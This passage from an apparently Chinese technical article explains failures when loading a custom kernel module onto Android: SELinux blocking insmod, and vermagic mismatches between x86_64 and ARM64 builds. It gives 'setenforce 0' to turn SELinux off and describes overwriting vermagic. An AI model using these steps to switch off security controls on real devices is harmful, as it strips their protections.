4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">$ insmod /data/local/tmp/test.ko</span><span leaf=""><br/></span><span leaf="">insmod: can</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;t insert &#39;</span></span><span leaf="">test.ko</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;: File exists</span></span></code></pre><p data-line="725" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">文件明明存在，且可读。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ls -l</span></code><span leaf=""> 检查权限正常。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">dmesg</span></code><span leaf=""> 没有任何输出。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">strace insmod</span></code><span leaf=""> 到关键系统调用时直接返回：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="727" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">-1 EEXIST</span></code></pre><p data-line="731" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这个问题与 ELF 格式无关，完全是 Android 安全机制在起作用。</span></p><p data-line="733" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">Android 对 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/data/local/tmp/</span></code><span leaf=""> 目录应用了严格的 SELinux 文件上下文限制。</span></p><p data-line="735" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">insmod</span></code><span leaf=""> 在执行 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">finit_module()</span></code><span leaf=""> 系统调用之前，需要访问 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.ko</span></code><span leaf=""> 文件，而 SELinux 在这种情况下会拒绝访问。</span></p><p data-line="737" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">为了不暴露攻击面信息，Android 的 SELinux 错误码映射策略将本该返回的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">EACCESS</span></code><span leaf=""> 转换成了 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">EEXIST</span></code><span leaf=""> —— 一个经典的反侦察设计。</span></p><p data-line="739" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">即使你已经 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">su</span></code><span leaf=""> 到 root，SELinux 仍会介入。因为 root 用户的行为也受安全策略约束。</span></p><p data-line="741" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">临时关闭 SELinux 是验证阶段最快的途径：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="743" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">setenforce 0</span></code></pre><p data-line="747" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">之后 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">insmod</span></code><span leaf=""> 得以进入内核加载流程。</span></p><p data-line="749" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">生产环境可考虑将模块放置于 SELinux 豁免路径，例如：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="751" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">/vendor/lib/modules/</span></code></pre><p data-line="755" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">坑 15：Exec format error —— 跨平台的 vermagic 陷阱</span></p><p data-line="757" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在 Kali Linux x86_64 上验证通过的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.ko</span></code><span leaf="">，推送到 ARM64安卓设备后：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="759" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">$ insmod /data/local/tmp/test.ko</span><span leaf=""><br/></span><span leaf="">insmod: can</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;t insert &#39;</span></span><span leaf="">test.ko</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;: Exec format error</span></span></code></pre><p data-line="764" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">dmesg</span></code><span leaf=""> 输出 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vermagic</span></code><span leaf=""> 不匹配。</span></p><p data-line="766" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">但我们明明已经从参考 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.ko</span></code><span leaf=""> 中提取了 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vermagic</span></code><span leaf=""> 并覆写，为什么还是不对？</span></p><p data-line="768" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">内核的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vermagic</span></code><span leaf=""> 校验由 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">same_magic()</span></code><span leaf=""> 完成：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="770" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">inline</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">same_magic</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *amagic, </span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *bmagic,</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">bool</span></span><span leaf=""> has_crcs)</span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (has_crcs) {</span><span leaf=""><br/></span><span leaf="">        amagic += </span><span style="color: rgb(0, 122, 204);"><span leaf="">strcspn</span></span><span leaf="">(amagic, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34; &#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">        bmagic += </span><span style="color: rgb(0, 122, 204);"><span leaf="">strcspn</span></span><span leaf="">(bmagic, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34; &#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(0, 122, 204);"><span leaf="">strcmp</span></span><span leaf="">(amagic, bmagic) == </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-line="782" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">关键逻辑如下：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p data-line="784" dir="auto" style="margin-top: 0px;margin-bottom: 0.7em;"><span leaf="">如果模块不包含 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">__versions</span></code><span leaf=""> 段，即 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">has_crcs == false</span></code><span leaf=""><br/></span><span leaf="">→ 完整字符串比对，版本号和后缀都参与。</span></p></li><li><p data-line="787" dir="auto" style="margin-top: 0px;margin-bottom: 0.7em;"><span leaf="">如果模块包含 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">__versions</span></code><span leaf=""> 段，即 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">has_crcs == true</span></code><span leaf=""><br/></span><span leaf="">→ 跳过第一个空格前缀，也就是版本号，只比对后缀。</span></p></li></ul><p data-line="790" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">我们的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.ko</span></code><span leaf=""> 是带 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">__versions</span></code><span leaf=""> 段的，所以理论上版本号不同没关系。</span></p><p data-line="792" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">但问题在于 Kali 和 Android 的后缀不同：</span></p><table style="border-collapse: collapse;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">环境</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">vermagic 后缀示例</span></p></th></tr></thead><tbody><tr><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Kali x86_64</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SMP preempt mod_unload</span></code></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Android ARM64</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SMP preempt mod_unload aarch64</span></code></td></tr></tbody></table><p data-line="799" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">Android 多了 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">aarch64</span></code><span leaf=""> 架构标识。</span></p><p data-line="801" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">后缀不匹配，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">strcmp</span></code><span leaf=""> 直接失败，内核返回 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">-ENOEXEC</span></code><span leaf="">，用户空间显示：</span></p><pre 